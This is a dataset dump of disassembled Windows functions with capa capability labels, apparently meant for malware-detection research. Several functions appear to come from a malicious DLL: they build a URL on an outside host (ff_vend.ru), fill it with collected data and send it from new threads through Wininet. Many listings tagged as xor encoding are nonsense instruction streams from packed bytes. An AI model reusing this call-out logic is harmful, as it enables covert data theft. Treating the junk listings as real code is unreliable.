joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100019ea
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push str._log
push dword [0x1000437c]
call dword [sym.imp.MSVCR120.dll_strstr]
pop ecx
pop ecx
test eax, eax
je 0x10001b47
mov eax, dword [0x1000437c]
push ebx
mov dword [ebp - 0xc], eax
mov eax, dword [0x10004370]
push esi
push edi
dec eax
je 0x10001acc
dec eax
je 0x10001a9b
dec eax
je 0x10001a73
dec eax
jne 0x10001a5f
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x22], 0xf
jle 0x10001a45
mov edi, dword [edi + 0x12]
jmp 0x10001a48
add edi, 0x12
mov eax, dword [ecx + 0x235]
lea ebx, [ecx + 0x131]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x30]
jmp 0x10001afb
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov edi, dword [eax + 8]
cmp dword [edi + 0x2f32], 0xf
jle 0x10001a93
mov edi, dword [edi + 0x2f22]
jmp 0x10001a48
add edi, 0x2f22
jmp 0x10001a48
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3c5]
mov edi, dword [eax + 8]
cmp dword [edi + 0x16], 0xf
jle 0x10001ab5
mov edi, dword [edi + 6]
jmp 0x10001ab8
add edi, 6
mov eax, dword [ecx + 0x221]
lea ebx, [ecx + 0x11d]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x1c]
jmp 0x10001afb
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3cd]
mov edi, dword [eax + 0x18]
cmp dword [edi + 0x1a], 0xf
jle 0x10001ae6
mov edi, dword [edi + 0xa]
jmp 0x10001ae9
add edi, 0xa
mov eax, dword [ecx + 0x225]
lea ebx, [ecx + 0x121]
mov dword [ebp - 4], eax
lea eax, [ecx + 0x20]
push 0x400
mov dword [ebp - 8], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.02062
mov esi, eax
push dword [ebp - 0xc]
push 0x194
push edi
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001b4b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10004400]
cmp dword [ecx], 0
jle 0x10001c43
mov eax, dword [ecx + 0xc]
cmp byte [eax], 0xd7
jne 0x10001c43
and dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push edi
push eax
lea edx, [ebp - 0x24]
call section..text
mov edi, dword [ebp - 0x28]
pop ecx
test edi, edi
je 0x10001c42
push ebx
xor ebx, ebx
test edi, edi
jle 0x10001c41
movzx eax, ax
mov dword [ebp - 0x38], eax
push esi
cmp dword [0x10004370], 3
jne 0x10001bee
mov ecx, dword [0x10004378]
mov eax, dword [ecx + 0x3de]
mov eax, dword [eax + 8]
cmp dword [eax + 0x2f32], 0xf
jle 0x10001bce
mov eax, dword [eax + 0x2f22]
jmp 0x10001bd3
add eax, 0x2f22
mov dword [ebp - 0x28], eax
lea eax, [ecx + 0x131]
mov dword [ebp - 0x2c], eax
mov eax, dword [ecx + 0x235]
mov dword [ebp - 0x34], eax
lea eax, [ecx + 0x30]
mov dword [ebp - 0x30], eax
push 0x400
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov dword [esp], str.02062
mov esi, eax
push dword [ebp + ebx*4 - 0x24]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push str.http:__ff_vend.ru_f1_yfqvcnhfgqplcdhdgsjfyhgfh.php_data
push str._ws_s:_d_s_s_d_s_s
push esi
call dword [sym.imp.MSVCR120.dll_sprintf]
push esi
push 0
push 0x10001534
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0x34
inc ebx
cmp ebx, edi
jl 0x10001ba5
pop esi
pop ebx
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022b3
mov esp, ebp
pop ebp
ret

Function at 0x10002154
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1000401a], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
je 0x100021ac
mov edi, str.02062
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100021ac
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100021c5
mov esi, 0x100033e4
lea eax, [ebp - 0x108]
push 0x100033f0
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100022b3
mov esp, ebp
pop ebp
ret 4
Function at 0x10002205
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100022ac
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push str.Wininet
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push eax
mov dword [0x100043f8], eax
call esi
push str.InternetOpenUrlA
push dword [0x100043f8]
mov dword [0x10004380], eax
call esi
push str.InternetCloseHandle
push dword [0x100043f8]
mov dword [0x10004384], eax
call esi
cmp byte [0x1000401a], 0
mov dword [0x10004388], eax
mov dword [0x10004374], edi
jne 0x100022aa
mov edi, str.02062
xor esi, esi
push edi
push esi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x100022aa
push edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push esi
push esi
push 0x10001cf5
mov dword [0x10004390], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
pop edi
pop esi
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x44a610
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
push ebx
push 0x652ef4
call dword [sym.imp.MSVCRT.dll_wcslen]
add esp, 4
test eax, eax
je 0x44a62d
xor eax, eax
pop ebx
add esp, 0xc
ret
lea eax, [esp + 4]
mov ebx, 1
push eax
push ebx
push 0
push str.CLSIDB3EE7802_8224_4787_A1EA_F0DE16DEABD3InprocServer32
push 0x80000000
mov dword [esp + 0x18], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
mov dword [0xa531f0], eax
jne 0x44a6aa
lea ecx, [esp + 0xc]
lea edx, [esp + 8]
push ecx
push 0x652ef4
push edx
push eax
mov dword [esp + 0x18], eax
push eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], 0x208
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
mov dword [0xa531f0], eax
jne 0x44a692
cmp dword [esp + 8], ebx
je 0x44a694
xor bl, bl
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
je 0x44a6aa
xor eax, eax
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [0xa531f0]
test ecx, ecx
jne 0x44a6cd
test eax, eax
jle 0x44a6c8
and eax, 0xffff
or eax, 0x80070000
mov dword [0xa531f0], eax
mov eax, 0x80004005
pop ebx
add esp, 0xc
ret

Function at 0x44a6e0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
mov dword [esp + 8], 0
call fcn.0044a610
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
test esi, esi
je 0x44a753
lea eax, [esp + 0xc]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push str.IsWow64Process
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x44a753
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test edi, edi
mov ebx, eax
je 0x44a74a
mov ecx, dword [0x652de4]
push 0x652b18
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea edx, [esp + 0xc]
push edx
push ebx
call esi
pop ebx
mov ecx, dword [esp + 8]
xor eax, eax
test ecx, ecx
pop edi
pop esi
setne al
add esp, 8
ret

Function at 0x493b64
Capabilities:
Encode data using xor

Disassembly:
lea ebx, [eax]
push ss
das
aad 0xe6
movsd dword es:[edi], dword [esi]
loop 0x493baf
or esi, dword [ebx - 0x9f8e153]
pushfd
and ah, bl
dec ebp
mov ecx, 0x4a242c48
test eax, 0x355705a
cmp ebp, ebp
push esi
cmc
push esi
jae 0x493b5d
mov byte [eax], cl
in al, dx
pop ecx
into
push 0xffffffffffffffad
push es
in al, 0x45
invalid
aad 0x89
xor dword [esp + esi + 0x30], esp
push ss
jp 0x493baf
rcl byte [edi + 0x49]
xor eax, 0x144357b3
in al, 0xa2
xchg ebp, eax
mov ebx, esi
cwde
stosd dword es:[edi], eax
mov bh, 0xe4
mov edx, 0x7343bb5
invalid

Function at 0x49ef05
Capabilities:
Encode data using xor

Disassembly:
clc
imul esi, edi, 0xffffffc4
popal
shl byte [edx - 0x2179fb39], 0x5a
in al, dx
invalid
Function at 0x4a3a38
Capabilities:
Encode data using xor

Disassembly:
insd dword es:[edi], dx
mov dword [0x6f4b908a], eax
or bh, byte [esi]
xor eax, dword [ecx - 0x1e582e65]
xchg esi, eax
add dl, byte [edi + 0x632f02ba]
out dx, al
das
arpl si, bp
nop
or dword [edx], ecx
xlatb
add ebp, dword [eax]
dec ecx
xor byte [eax - 0x71aec980], bh
div edx
fnstenv [ebp + 0x68ab3742]
push ds
movsb byte es:[edi], byte [esi]
xor eax, 0xc72255da
push ebp
and al, bh
push ebp
and al, bh
pop ss
scasd eax, dword es:[edi]
and eax, 0xc92ec66e
pop ds
xchg ebx, eax
cmovae esi, edi
dec edx
cdq
jp 0x4a3a09
pop esi
aas
push 0xb71f9b3b
xchg esi, eax
push 0x13b3251f
fdivr dword [edx + 0x30bdebab]
pop ds
cmp al, 0x11
xor byte [ecx - 0x32], dh
sal ah, cl
outsd dx, dword [esi]
aaa
inc ecx
salc
rcl byte cs:[edi - 0x6b250b7], 0xe
outsd dx, dword [esi]
jp 0x4a3a57
and eax, 0xbad813b3
stosd dword es:[edi], eax
jmp 0x4a3a1c
outsb dx, byte [esi]
add al, 0xfb
int3

Function at 0x4cb7f0
Capabilities:
Encode data using xor

Disassembly:
push esp
cwde
clc
int3
lea edx, [edi - 0x11]
salc
cmp ecx, esp
cmp al, 0xb1
jns 0x4cb825
adc al, byte [esi]
dec edi
jae 0x4cb830
add ecx, ebx
sbb cl, bh
int1
dec ebp
imul byte [ecx - 0x66206b5d]
salc
jno 0x4cb7c5
pop esi
mov edx, 0x63234147
wait
mov dl, 0x6c
jne 0x4cb879
in eax, 0x18
pop ebp
mov cl, 0x2f
inc ecx
cmp bh, dh
or byte [ebx - 0x30], ch
mov esp, 0xd881b9e6
popfd
sar byte [esi - 0x62277e47], 1
lodsd eax, dword [esi]
call dword [eax - 0x2a]
jge 0x4cb814
xor cl, dh
xor eax, 0xd9763a5f
wait
jno 0x4cb882
invalid
dec ebp
dec eax
xlatb
xor dword [ebx - 0x7dddd8e9], ebx
loop 0x4cb867
and al, byte [edx - 0x2963e41e]
pushfd
salc
outsb dx, byte [esi]
scasb al, byte es:[edi]
pop edx
out 0x9c, eax
neg dword [esi]
inc esp
cmpsb byte [esi], byte es:[edi]
xchg byte [esi - 0x5e], ch
xor ecx, dword [ecx + 0x69]
sub dword [edx + 0x34], eax
jecxz 0x4cb848
mov byte [0x29694933], al
inc edx
xor al, 0xe3
out 0xd7, al
xlatb
dec esi
rdmsr
jnp 0xb766354f
sub dl, dl
aaa
aad 8
adc byte [ebx + 0xf], 0x91
mov dword [eax + eax*4 + 0x1a6b8f9b], ebx
mov ebp, edi
invalid
wait
invalid
stc
pop es
pop ebx
jecxz 0x4cb879
mov ch, 0x8e
dec ebx
popfd
jb 0x4cb859
cmpsb byte [esi], byte es:[edi]
or esi, dword [edx + 0x48bf504f]
sbb bl, byte [ebx - 0x4bd48188]
sbb edx, dword [esi]
pmaddwd mm2, qword [ecx]
pop esi
loopne 0x4cb841
retf
Function at 0x4e6f68
Capabilities:
Encode data using xor

Disassembly:
pop ecx
cmp eax, 0x1300d8f2
imul edx, esi, 0xfffffffe
add bl, 0xe8
jo 0x4e6fa7
jae 0x4e6f32
invalid
add byte [ebp - 0x79], dh
pop ds
add al, byte [esi]
test eax, 0xca33fa62
fiadd dword [esp + eax*8]
scasb al, byte es:[edi]
inc esp
rol byte [ebx - 0x31b64a8], cl
pop eax
wait
in al, 0xfc
jb 0x4e6f9f
pop ss
mov al, byte [0xed57f1f3]
mov word [esi - 0xd53fb8c], ax
mov dword [esi - 0xd53fb8c], eax
push ecx
inc ebx
ret
stc
and eax, 0xe08b1e4f
adc esp, dword [ebx + 0x7c]
sbb dword [edi + 0x7f541390], ecx
and dl, bl
lahf
jecxz 0x4e6f38
jl 0x4e6fc2
invalid
xor al, byte [edi + 0x36]
mov ah, 0x54
cmp ch, byte [ebp - 0x4a]
sub eax, 0x7dfa64f1
or dword [ecx + 0x3fc2bec8], 0xfd5d4f33
enter 0xffffffffffffc2be, 0x3f
xor ecx, dword [edi + 0x5d]
std
xchg byte [ecx - 0x19e4b2eb], bl
xlatb
pop esp
sbb al, byte [0x73512e8e]
inc ebx
scasb al, byte es:[edi]
scasb al, byte es:[edi]
stosb byte es:[edi], al
mov dh, 0x97
jecxz 0x4e6f89
and dword [ebp + 0x72dd95b2], ebp
and dword [esi - 0x38de28ee], ebx
xlatb
and edi, eax
or eax, ebx
jbe 0x4e6f7b
mul byte [esi]
add dh, ch
inc esp
mov esi, 0x957d8f67
push esi
mov al, byte [0xb38d331]
invalid

Function at 0x4ec013
Capabilities:
Encode data using xor

Disassembly:
adc ah, bh
push ebp
arpl word [esi - 0x54178989], dx
adc al, 0x19
scasb al, byte es:[edi]
or edi, dword [edi + 0x52]
cmpsb byte [esi], byte es:[edi]
invalid
xchg esi, eax
mov dword [0xc3f6ff52], eax
and ebx, ecx
add byte [edx + 0x7b], dl
loop 0x4ebf76
add al, 0xad
or eax, dword [esp + esi + 0x6330dd33]
add al, 0xc6
cmp dword [edx], edi
sbb byte [ebx + 0x44727c5c], dl
mov dword [0x2cee7efb], eax
push esi
and eax, 0x105fb07e
loope 0x4ebfed
pushal
pushfd
and esp, dword [esi - 0x48d9c56d]
jno 0x4ec01d
js 0x4ec039
mov ch, 0x3d
adc ebp, dword [ecx + ecx*8]
leave
sub cl, bl
xor ch, bh
sbb al, 0x4d
loop 0x4ec025
arpl word [edx + ebx*8], bx
sbb dword [eax + 0x7d], edx
push edx
pop esp
inc edi
sahf
ret 0x4ee6
out 0x4e, al
dec ecx
stc
sbb byte [edi + 0x624f6fa3], dl
popal
jl 0x4ebfe7
int3
Function at 0x5371c6
Capabilities:
Encode data using xor

Disassembly:
rcr byte [ebx - 0x657dedbe], 0x55
mov eax, 0x1b1f6a4a
or al, 0xa
sbb dh, byte [esi - 0x23]
mov ecx, 0xa217124
cmp eax, dword [eax]
sar dword [ecx + 0x7f], 0x70
scasb al, byte es:[edi]
popfd
ja 0x53716d
or al, 0x27
js 0x5370f1
push esi
pop edx
adc dword [ebx + 0xa], edi
in al, dx
cmp dl, byte [ebx + 0x45]
sub byte [ebp - 0x49], cl
ret 0xb752
xchg esp, eax
stc
fisttp word [ecx + 0x61]
jo 0x53716e
push ss
cld
xchg edi, eax
fisubr dword [eax]
loope 0x537172
neg dword [edi]
sbb dword [ebx], eax
xor eax, 0xba796410
mov fs, ecx
push ebp
jp 0x53710f
mov eax, dword [0x16c9c628]
sub dh, al
leave
push ss
fisub dword [edx + 0x753336d9]
aad 0xda
imul edi, dword [edi - 0x637dc2da], 0x2b
or byte [esi], 0xd7
fnstenv [esi]
xor esi, dword [ebp - 0x2b]
fisubr dword [ebx - 0x41]
cmp eax, 0x822b9c82
push cs
xlatb
pop es
out dx, eax
jne 0x537174
invalid
or bl, byte [edx]
jge 0x537152
pop ecx
js 0x537244
int1
salc
mov ah, 0xaa
test eax, 0x6e09b18e
mov esi, fs
loop 0x5371fa
mov ch, 0xf
sbb byte [ebp + 0x57], dl
paddb mm2, qword [ebp + 0x24]
ror dword [0x6757eda5], 1
cmp ch, byte [eax - 0x7d]
inc esi
cmc
push esp
inc ecx
sub dh, byte [ecx - 0x743cbc59]
sub edx, dword [edx - 0x28]
insd dword es:[edi], dx
rcr edx, 1
retf
mov byte [edi + ebp - 0x25764548], ah
sal dword [edx - 0xb], 1
lodsb al, byte [esi]
pop ds
push 0xffffffffffffffaa
mov ebp, esp
inc esi
invalid
dec edi
loopne 0x53721e
repne outsd dx, dword [esi]
mov esp, 0xb004c078
pop ecx
inc eax
invalid

Function at 0x538994
Capabilities:
Encode data using xor

Disassembly:
dec ebp
sbb ecx, dword [edx - 0xc552486]
dec eax
mov edi, 0x91ca7e3c
dec esp
pop ss
xchg byte [ecx - 0x5f1420f6], al
cmp dl, byte [esi]
int3
lahf
mov ecx, 0x6dc4770a
das
sub esp, edx
jne 0x538964
sub al, cl
stosb byte es:[edi], al
loopne 0x5389f6
xlatb
cmp al, 0xb2
dec esp
sbb dword [ebp + 0x79], ebp
sbb byte [ecx + 0x769adabb], ah
wait
or al, 0x93
and edx, ecx
add dword [edx], edi
lea edx, [ecx + 0x3838fc49]
popal
salc
inc ebx
pop ebx
ret
jl 0x5389f6
fcmovb st(0), st(0)
dec edx
loopne 0x5389c3
fnstcw word [ebx]
fnstenv [0x1e303fd1]
scasb al, byte es:[edi]
inc eax
sub byte [edi - 0x47], cl
ror byte [edx - 0x56], cl
aas
sahf
adc eax, 0x97a35c9b
push ecx
les ebx, [edi - 0x64]
not byte [ebx - 0x54f9f307]
push cs
sti
aam 0xc0
sbb al, 0x8e
rcr dword [eax], 1
or bl, byte [ecx]
in al, 0x79
enter 0xffffffffffffa99c, 0xffffffffffffffe0
xchg esi, eax
scasd eax, dword es:[edi]
cwde
test eax, 0x98af96e0
pop es
dec edx
xor byte [eax + 0x5854fb4a], dl
jns 0x538a2c
sal ch, 1
sar byte ds:[edi + 0x3a], 1
xor dh, byte [edi + edx*4 - 0x2059006b]
in al, 0x83
and eax, 0xea3c469
fstp xword ds:[eax + 0x6cfd9034]
xor al, 0x90
std
insb byte es:[edi], dx
xchg ebp, eax
nop
jne 0x538a52
adc edi, dword gs:[eax]
cli
inc edi
jnp 0x538a77
fcmovnb st(0), st(2)
dec eax
clc
xchg esp, eax
adc bh, ch
imul edx, dword [esi - 0x57], 0x54
pop eax
xchg edx, eax
invalid
rcr byte [eax], 0x81
fist dword [eax]
xor esp, dword [eax + 0xccaac4a]
test dword [0x1452f4ab], 0x78fe80ff
fisub word [ecx - 0x553349d5]
call 0xcd18798a
inc esi
ret 0x5b27
Function at 0x57e847
Capabilities:
Encode data using xor

Disassembly:
add al, 0x4d
sbb al, 0xc0
push esi
cmp bh, ch
xor ebp, eax
dec ebx
pop es
dec esi
or dword [edi + 0x2b], 0xbe3873e8
xlatb
ror ebp, 1
push 0x6b7176af
or ecx, dword [ebp + edi*2 - 0x16e1d7d3]
fidiv dword [edi + 0x4f]
xor byte [edi + 0x3d], dh
test eax, 0x235446f1
sbb eax, 0x18beb1a6
push cs
pop ecx
dec ebp
out dx, al
call 0x52bbd454
or esp, ebp
arpl word [edx + 0x46], dx
or esp, ebp
arpl word [edx + 0x46], dx
pop edx
push ds
and eax, ebp
nop
fnsave dword [ebp - 0x5dc6b871]
jge 0x57e80f
aas
xchg esp, eax
invalid

Function at 0x580bd6
Capabilities:
Encode data using xor

Disassembly:
test eax, ebp
xchg edx, eax
lodsd eax, dword [esi]
dec ecx
add eax, 0xa9624e91
sahf
cld
sti
or eax, dword [edi + 0x5d]
ja 0x580c22
pop ebx
or al, 0xb1
ror dword [eax + 0x3d], 1
outsd dx, dword [esi]
invalid
fldenv [edx]
out dx, al
jb 0x580c13
sal ecx, cl
in al, 0x66
aam 0x79
out 0xfe, eax
or al, 0xfb
pop eax
sbb dword [ebx], ebx
or eax, 0x94384ce8
push 0xa1ae3470
aas
invalid
pop esi
add al, 0x4e
jns 0x580c6c
retf 0x59ed
jecxz 0x580c72
imul esi, dword [edx + 0x1a], 0x57fff8d7
push 0xe365bd8a
ja 0x580bfa
psrlw mm7, qword [ebx + 0x681d497e]
pop esi
in al, dx
outsb dx, byte [esi]
loop 0x580bf3
sub dword [esi - 0x7aa647d8], ebp
test al, 0x11
cmp dword [ecx - 0x54], ebx
push ebp
or al, 0x5c
jmp [esi]
invalid
mov bl, 0xff
imul esp, dword [edx + 0xf89de84], 0xceafa158
xor bh, byte [edi - 0x3b]
mov byte [esi + 0x97879bc], dl
loop 0x580c6c
mov dword [edi], ecx
pop eax
mov eax, dword [0x7f32ceaf]
lds ecx, [eax + 0x7879bc96]
or edx, esp
jmp 0x272687fb
je 0x580d00
into
or byte es:[ebx + 0x59], cl
cmp esi, edx
jle 0x580cc1
cmp dl, byte [0xb5ced9a9]
sar byte [eax - 0x3fb9b71b], cl
scasd eax, dword es:[edi]
push edi
jmp 0x580c5b
dec ebx
test byte [ebx + 0x13], al
sub ch, byte gs:[eax - 0x34]
test eax, 0x6e59ed40
imul ecx, dword [esi], 0xa3b35f1d
jo 0x580d31
invalid
mov ebp, 0x6585cf85
stosb byte es:[edi], al
or ebp, dword [ecx - 0x407ac5a9]
jp 0x580d24
mov ah, 0xad
cmp esi, ebx
salc
pop ebp
push esi
stc
push es
cmp al, 0xee
or eax, 0x3079514d
and al, 0xf9
sbb ebp, dword [esi + ecx*2]
inc esp
xchg edi, eax
push 0x9e59cf81
adc dword [eax + 0x3f7440a9], esp
adc al, 0xdb
mov word [ebx], ss
inc edi
sbb dword [ecx + 0x46c9b9f], 0x6f
fisttp dword [ebx + edx - 0x60667cb9]
wait
insb byte es:[edi], dx
add al, 0x6f
mov byte [ebx + 0x26], al
retf
Function at 0x604b34
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x5193a8
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push edi
mov eax, dword [0x5624e0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov edi, ecx
lea ecx, [esp + 0xc]
call fcn.0060db43
mov dword [esp + 0x28], 0
test esi, esi
jne 0x604b7a
xor eax, eax
jmp 0x604b7d
mov eax, dword [esi + 4]
push eax
call dword [0x51b1ac]
push eax
lea ecx, [esp + 0x10]
call fcn.0060e178
lea eax, [edi + 0x7c]
test eax, eax
je 0x604b98
mov eax, dword [eax + 4]
push eax
mov eax, dword [esp + 0x14]
push eax
call int.0060e4dd
mov edx, dword [esp + 0x10]
mov ecx, dword [edi + 0xbc]
push 0xcc0020
push 0
push 0
push edx
mov ebx, eax
mov eax, dword [edi + 0xc0]
push eax
mov eax, dword [esi + 4]
push ecx
push 0
push 0
push eax
call dword [0x51b194]
test ebx, ebx
je 0x604bd6
mov ebx, dword [ebx + 4]
mov ecx, dword [esp + 0x10]
push ebx
push ecx
call int.0060e4dd
mov edx, dword [esi]
mov edx, dword [edx + 0x28]
lea eax, [edi + 0x84]
push eax
mov ecx, esi
call edx
push 1
mov ecx, esi
call fcn.0060d85d
mov ecx, dword [edi + 0xb8]
mov eax, dword [esi]
mov edx, dword [eax + 0x30]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xb4]
mov eax, dword [edi + 0xa0]
mov edx, dword [esi]
mov edx, dword [edx + 0x68]
push ecx
lea ecx, [edi + 0xa4]
push ecx
push 0xffffffffffffffff
push eax
mov ecx, esi
call edx
mov eax, dword [esi]
mov edx, dword [eax + 0x28]
lea ecx, [edi + 0x8c]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xe4]
mov eax, dword [esi]
mov edx, dword [eax + 0x30]
push ecx
mov ecx, esi
call edx
mov ecx, dword [edi + 0xe0]
mov eax, dword [edi + 0xcc]
mov edx, dword [esi]
mov edx, dword [edx + 0x68]
push ecx
add edi, 0xd0
push edi
push 0xffffffffffffffff
push eax
mov ecx, esi
call edx
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.0060e1f9
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x60db43
Capabilities:
Encode data using xor

Disassembly:
scasb al, byte es:[edi]
mov edi, 0xc00020a1
or dword [esi + ecx*2], edi
cmp al, 0x4e
cmp al, 0x4e
dec edi
inc ebp
xor dword [edi - 0x34119eb8], ebx
mov bh, 0xec
movsd dword es:[edi], dword [esi]
cmpsd dword [esi], dword es:[edi]
or dl, byte [eax + 0x5a0f8cc]
adc dl, dl
jge 0x60db3c
mov esp, 0xb6d8a591
inc eax
xor bh, byte [ecx]
push esi
inc eax
cmp esi, eax
in eax, dx
lahf
or dword [eax + 0x72], esi
inc ebx
fistp dword [0xf2a3bf56]
out dx, al
jo 0x60dbbc
xor dword [edi - 0x3d94e649], 0x50
adc ecx, 0xc9f8d8a5
adc eax, 0xd6057645
adc ebx, dword [ebp + 0x60]
mov eax, dword [0x61284ace]
adc eax, 0xdd0ed4c9
loopne 0x60dbca
mov ch, 0xd1
nop
out 0xcc, al
mul byte [ecx + 0x4004f0a8]
sar byte [ebp - 0x60], cl
lodsb al, byte [esi]
popfd
mov byte [eax + 3], dh
imul edx, dword [edi - 0x5dfedc3b], 0x9f851a41
popfd
mov ch, 0xa1
inc ebx
push edx
shl dword [ebx + ebp*4 - 0x33], cl
das
int 0x2f
and al, 0x89
push ebx
xchg dword [eax - 7], esi
adc dh, byte [edx + 0x16904857]
sal dword [ecx - 0x49], cl
xchg dword [eax + 9], eax
pop ebx
sbb bl, byte [0x5904e]
adc dword [edx - 0x14f4fa29], edx
lodsd eax, dword [esi]
ror dword [ecx - 0x5e97a9a3], 0x50
inc byte [edi + 0x11]
mul dword fs:[ecx]
push ebp
mov eax, edx
bound eax, qword [ecx - 0x60]
jmp ebx
Function at 0x10005810
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov edi, dword [esi + 0x138]
test edi, edi
je 0x1000582c
movzx eax, word [edi + 6]
jmp 0x1000582e
xor eax, eax
mov ecx, dword [ebp + 8]
movzx eax, ax
cmp ecx, eax
jle 0x10005863
mov edx, ecx
mov ecx, edi
call fcn.1000fae0
test eax, eax
jne 0x10005860
push eax
push eax
push 0x28
push eax
push eax
lea ecx, [esi + 8]
xor edx, edx
call fcn.10009cc0
add esp, 0x14
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0x138]
test eax, eax
jne 0x10005871
xor esi, esi
jmp 0x10005874
mov esi, dword [eax + 8]
lea edi, [ebx + 0x24]
add esi, 0x10
lea ebx, [ebx]
dec ecx
mov ebx, edi
mov dword [ebp + 8], ecx
mov edx, 0x1f
mov eax, esi
sub ebx, esi
nop
lea ecx, [edx + 0x7fffffdf]
test ecx, ecx
je 0x100058ac
mov cl, byte [ebx + eax - 0x24]
test cl, cl
je 0x100058ac
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x10005890
jmp 0x100058b0
test edx, edx
jne 0x100058b1
dec eax
mov byte [eax], 0
movzx eax, word [edi - 4]
mov word [esi - 8], ax
mov eax, dword [edi]
mov ecx, dword [ebp + 8]
mov dword [esi - 4], eax
movzx eax, word [edi + 4]
mov word [esi + 0x20], ax
mov eax, dword [edi + 8]
mov dword [esi + 0x24], eax
movzx eax, word [edi + 0xc]
mov word [esi + 0x28], ax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x2c], eax
movzx eax, word [edi + 0x14]
mov word [esi + 0x30], ax
movzx eax, word [edi + 0x16]
mov word [esi + 0x32], ax
movzx eax, word [edi + 0x18]
mov word [esi + 0x34], ax
